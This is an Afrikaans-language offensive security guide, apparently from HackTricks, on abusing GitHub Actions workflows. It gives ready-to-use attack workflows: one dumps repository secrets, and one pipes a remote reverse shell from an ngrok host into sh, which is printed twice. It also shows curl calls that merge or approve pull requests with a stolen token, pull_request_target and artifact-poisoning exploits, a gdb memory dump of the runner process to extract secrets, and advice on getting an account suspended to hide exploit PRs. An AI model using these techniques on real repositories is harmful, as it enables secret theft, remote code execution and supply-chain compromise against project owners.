Abusing Github Actions

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
Kry die amptelike PEASS & HackTricks swag
Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.

Basiese Inligting

Op hierdie bladsy sal jy vind:

'n Opsomming van al die impakte van 'n aanvaller wat toegang kry tot 'n Github-handeling
Verskillende maniere om toegang tot 'n handeling te kry:
Met toestemmings om die handeling te skep
Misbruik van pull-aanvraag verwante aansporings
Misbruik van ander eksterne toegang tegnieke
Pivot vanaf 'n reeds gekompromitteerde opslagplek
Laastens, 'n afdeling oor post-uitbuitingstegnieke om 'n handeling van binne af te misbruik (veroorsaak die genoemde impakte)

Opsomming van Impakte

Vir 'n inleiding oor Github-handelinge, sien die basiese inligting.

In die geval dat jy willekeurige Github-handelinge/injekteer kode kan uitvoer in 'n opslagplek, kan jy moontlik:

Steel die geheime van daardie opslagplek/organisasie.
As jy net kan injekteer, kan jy steel wat ook al reeds teenwoordig is in die werkstroom.
Misbruik opslagplek-privileges om toegang te verkry tot ander platforms soos AWS en GCP.
Voer kode uit in aangepaste werkers (indien aangepaste werkers gebruik word) en probeer van daar af te pivot.
Oorskryf opslagplek kode.
Dit hang af van die priviliges van die GITHUB_TOKEN (indien enige).
Kompromitteer implementasies en ander artefakte.
As die kode iets implementeer of stoor, kan jy dit wysig en verdere toegang verkry.

GITHUB_TOKEN

Hierdie "geheim" (afkomstig van ${{ secrets.GITHUB_TOKEN }} en ${{ github.token }}) word gegee wanneer die admin hierdie opsie aktiveer:

Hierdie token is dieselfde een wat 'n Github-toepassing sal gebruik, sodat dit toegang kan verkry tot dieselfde eindpunte: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github behoort 'n vloei vry te stel wat kruis-opslagplek-toegang binne GitHub toelaat, sodat 'n opslagplek ander interne opslagplekke kan benader deur die GITHUB_TOKEN te gebruik.

Jy kan die moontlike toestemmings van hierdie token sien in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Let daarop dat die token verval nadat die taak voltooi is. Hierdie tokens lyk soos dit: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Sommige interessante dinge wat jy met hierdie token kan doen:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

Let daarop dat jy op verskeie geleenthede github-gebruikerstokens binne Github-handelinge-omgewings of in die geheime kan vind. Hierdie tokens kan jou meer regte oor die bewaarplek en organisasie gee.

Lys geheime in Github-handeling-uitset

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Kry omgekeerde dop met geheime

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Dit is moontlik om die toestemmings wat aan 'n Github-token gegee is in ander gebruikers se repositories te kontroleer deur die logs van die aksies te ondersoek:

Toegestane Uitvoering

Dit sou die maklikste manier wees om Github-aksies te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om 'n nuwe repo in die organisasie te skep, of skryfregte oor 'n repository het.

As jy in hierdie scenario is, kan jy net die Post Exploitation-tegnieke nagaan.

Uitvoering vanaf Repo-skepping

In die geval dat lede van 'n organisasie nuwe repos kan skep en jy github-aksies kan uitvoer, kan jy 'n nuwe repo skep en die geheime wat op organisasievlak ingestel is, steel.

Uitvoering vanaf 'n Nuwe Tak

As jy 'n nuwe tak in 'n repository kan skep wat reeds 'n Github-aksie ingestel het, kan jy dit verander, die inhoud oplaai, en dan daardie aksie vanaf die nuwe tak uitvoer. Op hierdie manier kan jy repository- en organisasievlak-geheime uitlek (maar jy moet weet hoe hulle genoem word).

Jy kan die gewysigde aksie handmatig uitvoer, wanneer 'n PR geskep word of wanneer 'n bietjie kode gedruk word (afhangende van hoe luidrugig jy wil wees):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Gevorkte Uitvoering

Daar is verskillende aanwysers wat 'n aanvaller kan toelaat om 'n Github Aksie van 'n ander bewaarplek uit te voer. As daardie aanwysers swak gekonfigureer is, kan 'n aanvaller hulle moontlik kan bemagtig.

`pull_request`

Die werkstroomaanwyser pull_request sal die werkstroom elke keer uitvoer as 'n trekversoek ontvang word met 'n paar uitsonderings: standaard, as dit die eerste keer is wat jy saamwerk, sal 'n paar onderhouers die uitvoering van die werkstroom moet goedkeur:

Aangesien die standaard beperking vir eerste keer bydraers is, kan jy bydra deur 'n geldige fout/tikfout te regstel en dan ander trekversoeke stuur om jou nuwe pull_request-voorregte te misbruik.

Ek het dit getoets en dit werk nie nie: ~~'n Ander opsie sou wees om 'n rekening te skep met die naam van iemand wat bygedra het tot die projek en sy rekening verwyder het.~~

Daarbenewens verhoed dit standaard skryfregte en toegang tot geheime tot die teikenbewaarplek soos genoem in die dokumentasie:

Met die uitsondering van GITHUB_TOKEN, word geheime nie aan die loper oorgedra wanneer 'n werkstroom van 'n gevorkte bewaarplek af geaktiveer word nie. Die GITHUB_TOKEN het slegs leesregte in trekversoeke van gevorkte bewaarplekke.

'n Aanvaller kan die definisie van die Github Aksie wysig om arbitrêre dinge uit te voer en arbitrêre aksies by te voeg. Tog sal hy nie in staat wees om geheime te steel of die bewaarplek te oorskryf as gevolg van die genoemde beperkings nie.

Ja, as die aanvaller in die PR die github aksie wat geaktiveer sal word, verander, sal sy Github Aksie die een wees wat gebruik word en nie die een van die oorspronklike bewaarplek nie!

Aangesien die aanvaller ook die uitgevoerde kode beheer, selfs al is daar nie geheime of skryfregte op die GITHUB_TOKEN nie, kan 'n aanvaller byvoorbeeld skadelike artefakte oplaai.

`pull_request_target`

Die werkstroomaanwyser pull_request_target het skryfregte tot die teikenbewaarplek en toegang tot geheime (en vra nie vir toestemming nie).

Let daarop dat die werkstroomaanwyser pull_request_target in die basis konteks uitgevoer word en nie in dié wat deur die PR gegee is (om nie onbetroubare kode uit te voer nie). Vir meer inligting oor pull_request_target kyk na die dokumentasie. Daarbenewens, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk na hierdie github blog pos.

Dit mag voorkom dat omdat die uitgevoerde werkstroom die een is wat in die basis gedefinieer is en nie in die PR nie, dit veilig is om pull_request_target te gebruik, maar daar is 'n paar gevalle waar dit nie is nie.

En hierdie een sal toegang tot geheime hê.

`workflow_run`

Die workflow_run aanwyser maak dit moontlik om 'n werkstroom van 'n ander een uit te voer wanneer dit voltooi, aangevra of in_progress is.

In hierdie voorbeeld is 'n werkstroom gekonfigureer om na die aparte "Voer Toetse Uit" werkstroom voltooi word:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Verder, volgens die dokumente: Die werkstroom wat begin word deur die workflow_run gebeurtenis is in staat om geheime te benader en tokens te skryf, selfs as die vorige werkstroom nie was nie.

Hierdie soort werkstroom kan aangeval word as dit afhanklik is van 'n werkstroom wat deur 'n eksterne gebruiker geaktiveer kan word via pull_request of pull_request_target. 'n Paar kwesbare voorbeelde kan gevind word in hierdie blog. Die eerste een behels die workflow_run geaktiveerde werkstroom wat die aanvaller se kode aflaai: ${{ github.event.pull_request.head.sha }} Die tweede een behels die oorhandiging van 'n artefak van die onbetroubare kode na die workflow_run werkstroom en die inhoud van hierdie artefak op 'n manier gebruik wat dit kwesbaar vir RCE maak.

`workflow_call`

TODO

TODO: Kontroleer of wanneer uitgevoer vanaf 'n pull_request die gebruikte/aflaai kode die een van die oorsprong of van die gevorkte PR is

Misbruik van Gevorkte Uitvoering

Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n GitHub-werkvloei kon laat uitvoer, laat ons nou kyk na hoe hierdie uitvoerings, indien sleg gekonfigureer, misbruik kan word:

Onbetroubare aflaai-uitvoering

In die geval van pull_request, sal die werkvloei uitgevoer word in die konteks van die PR (dit sal dus die skadelike PR-kode uitvoer), maar iemand moet dit eerstens magtig en dit sal met 'n paar beperkings uitgevoer word.

In die geval van 'n werkvloei wat pull_request_target of workflow_run gebruik wat afhanklik is van 'n werkvloei wat geaktiveer kan word vanaf pull_request_target of pull_request sal die kode van die oorspronklike repo uitgevoer word, sodat die aanvaller nie die uitgevoerde kode kan beheer nie.

Nietemin, as die aksie 'n eksplisiete PR-aflaai het wat die kode van die PR sal kry (en nie van die basis nie), sal dit die aanvallersbeheerde kode gebruik. Byvoorbeeld (kyk na lyn 12 waar die PR-kode afgelaai word):

# ONVEILIG. Verskaf slegs as 'n voorbeeld.
on:
pull_request_target

jobs:
build:
name: Bou en toets
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Dankie!

Die potensieel onbetroubare kode word uitgevoer tydens npm install of npm build aangesien die bou-skripte en verwysde pakketten beheer word deur die skrywer van die PR.

'n GitHub-dork om te soek na kwesbare aksies is: event.pull_request pull_request_target extension:yml nietemin, daar is verskillende maniere om die take veilig uit te voer selfs as die aksie onveilig gekonfigureer is (soos die gebruik van voorwaardes oor wie die aktiewe PR genereer).

Konteks Skripsie-inspuitings

Merk op dat daar sekere github kontekste is waarvan die waardes deur die gebruiker wat die PR skep, beheer word. As die GitHub-aksie daardie data gebruik om iets uit te voer, kan dit lei tot arbitrêre kode-uitvoering:

pageGh Actions - Context Script Injections

GITHUB_ENV Skripsie-inspuiting

Volgens die dokumente: Jy kan 'n omgewingsveranderlike beskikbaar maak vir enige volgende stappe in 'n werkvloei-taak deur die omgewingsveranderlike te definieer of by te werk en dit na die GITHUB_ENV omgewingslêer te skryf.

As 'n aanvaller enige waarde kon inspuit in hierdie omgewingsveranderlike, kon hy omgewingsveranderlikes inspuit wat kode in volgende stappe kan uitvoer soos LD_PRELOAD of NODE_OPTIONS.

Byvoorbeeld (hierdie en hierdie), stel jou 'n werkvloei voor wat 'n opgelaaide artefak vertrou om sy inhoud binne GITHUB_ENV omgewingsveranderlike te stoor. 'n Aanvaller kon iets soos hierdie oplaai om dit te kompromitteer:

Kwesbare Derde Party Github Aksies

dawidd6/action-download-artifact

Soos genoem in hierdie blogpos, hierdie GitHub-aksie maak dit moontlik om artefakte van verskillende werkvloei en selfs repositories te benader.

Die probleem is dat as die path parameter nie ingestel is nie, word die artefak in die huidige gids uitgepak en dit kan lêers oorskryf wat later gebruik kan word of selfs uitgevoer kan word in die werkvloei. Daarom, as die Artefak kwesbaar is, kan 'n aanvaller dit misbruik om ander werkvloei wat die Artefak vertrou, te kompromitteer.

Voorbeeld van 'n kwesbare werkvloei:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Dit kan aangeval word met hierdie werkstroom:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Ander Eksterne Toegang

Verwyderde Naamruimte Repo Kaping

As 'n rekening sy naam verander, kan 'n ander gebruiker 'n rekening met daardie naam registreer na 'n tydperk. As 'n argief minder as 100 sterre gehad het voor die verandering van naam, sal Github die nuwe geregistreerde gebruiker met dieselfde naam toelaat om 'n argief met dieselfde naam as die verwyderde een te skep.

Dus, as 'n aksie 'n argief van 'n nie-bestaande rekening gebruik, is dit steeds moontlik dat 'n aanvaller daardie rekening kan skep en die aksie kan kompromiteer.

As ander argiewe afhanklikhede van hierdie gebruikersargiewe gebruik het, sal 'n aanvaller hulle kan kap. Hier het jy 'n meer volledige verduideliking: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Argief Pivoting

In hierdie afdeling sal ons praat oor tegnieke wat sou toelaat om te pivoteer van die een argief na die ander veronderstel ons het 'n soort toegang tot die eerste een (kyk na die vorige afdeling).

Kegelvergiftiging

'n Kegel word behou tussen werkstroomhardloop in dieselfde tak. Dit beteken dat as 'n aanvaller 'n pakket kompromiteer wat dan in die kegel gestoor word en deur 'n meer bevoorregte werkstroom afgelaai en uitgevoer word, sal hy ook daardie werkstroom kan kompromiteer.

pageGH Actions - Cache Poisoning

Argiefvergiftiging

Werkstrome kan argiewe van ander werkstrome en selfs argiewe gebruik, as 'n aanvaller daarin slaag om die Github Aksie te kompromiteer wat 'n argief oplaai wat later deur 'n ander werkstroom gebruik word, kan hy die ander werkstrome kompromiteer:

pageGh Actions - Artifact Poisoning

Na-Exploitasie van 'n Aksie

Toegang tot AWS en GCP via OIDC

Kyk na die volgende bladsye:

pageAWS - Federation Abuse pageGCP - Federation Abuse

Toegang tot geheime

As jy inhoud in 'n skriffie inspuit, is dit interessant om te weet hoe jy geheime kan toegang:

As die geheim of token na 'n omgewingsveranderlike ingestel is, kan dit direk deur die omgewing benader word deur printenv te gebruik.

Lys geheime in Github Aksie-uitset

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Kry omgekeerde dop met geheime</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Indien die geheim direk in 'n uitdrukking gebruik word, word die gegenereerde skript op die skyf gestoor en is dit toeganklik.

cat /home/runner/work/_temp/*

* Vir JavaScript-aksies word die geheime deur omgewingsveranderlikes gestuur
* ```bash
ps axe | grep node

Vir 'n aangepaste aksie kan die risiko wissel afhangende van hoe 'n program die geheim wat dit uit die argument verkry het, gebruik:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Misbruik van Self-gehoste runners

Die manier om te vind watter Github Aksies op nie-Github-infrastruktuur uitgevoer word, is om te soek na runs-on: self-hosted in die Github Aksie konfigurasie yaml.

Self-gehoste runners mag toegang hê tot ekstra sensitiewe inligting, na ander netwerkstelsels (kwesbare eindpunte in die netwerk? metadata-diens?) of, selfs al is dit geïsoleer en vernietig, kan meer as een aksie gelyktydig uitgevoer word en die skadelike een kan die geheime van die ander steel.

Op self-gehoste runners is dit ook moontlik om die geheime van die _Runner.Listener_** proses** te verkry wat al die geheime van die werkstrome op enige stadium sal bevat deur sy geheue te dump:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Kyk na hierdie pos vir meer inligting.

Github Docker Beelderegister

Dit is moontlik om Github-aksies te maak wat 'n Docker-beeld binne Github sal bou en stoor. 'n Voorbeeld kan gevind word in die volgende uitvouende:

Github Aksie Bou & Stoor Docker Beeld

```yaml [...]

name: Set up Docker Buildx uses: docker/setup-buildx-action@v1
name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}
name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Soos u kon sien in die vorige kode, word die Github-register gehuisves in **`ghcr.io`**.

'n Gebruiker met leesregte oor die repo sal dan die Docker-beeld kan aflaai deur 'n persoonlike toegangstoken te gebruik:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Dan kan die gebruiker soek na gelekte geheime inligting in die Docker-beeldlae:

Sensitiewe inligting in Github-handelinge se logboeke

Selfs al probeer Github om geheime waardes op te spoor in die handelinge se logboeke en vermy om hulle te wys, sal ander sensitiewe data wat gegenereer kon wees tydens die uitvoering van die handeling nie versteek word nie. Byvoorbeeld, 'n JWT wat onderteken is met 'n geheime waarde sal nie versteek word tensy dit spesifiek ingestel is.

Jou Spore Verberg

(Tegniek van hier) Eerstens, enige PR wat ingedien word is duidelik sigbaar vir die publiek op Github en vir die teiken-GitHub-rekening. In GitHub kan ons nie standaard 'n PR van die internet verwyder nie, maar daar is 'n draai. Vir Github-rekeninge wat deur Github geskors is, word al hulle PR's outomaties verwyder en van die internet verwyder. Dus, om jou aktiwiteit te verberg, moet jy jou GitHub-rekening laat skors of jou rekening laat merk. Dit sal al jou aktiwiteite op GitHub van die internet verberg (basies verwyder al jou uitbuit PR's)

'n Organisasie in GitHub is baie proaktief om rekeninge aan GitHub te rapporteer. Al wat jy hoef te doen is "iets" deel in 'n Aangeleentheid en hulle sal verseker dat jou rekening binne 12 uur geskors word :p en daar het jy, jou uitbuiting onsigbaar op github gemaak.

Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub-logboeke van SIEM te kontroleer aangesien die PR vanaf die GitHub UI verwyder sou word.

Gereedskap

Die volgende gereedskap is nuttig om Github-handelinge se werkstrome te vind en selfs kwesbare eenhede te vind:

PreviousGithub Security NextGh Actions - Artifact Poisoning

Last updated 1 month ago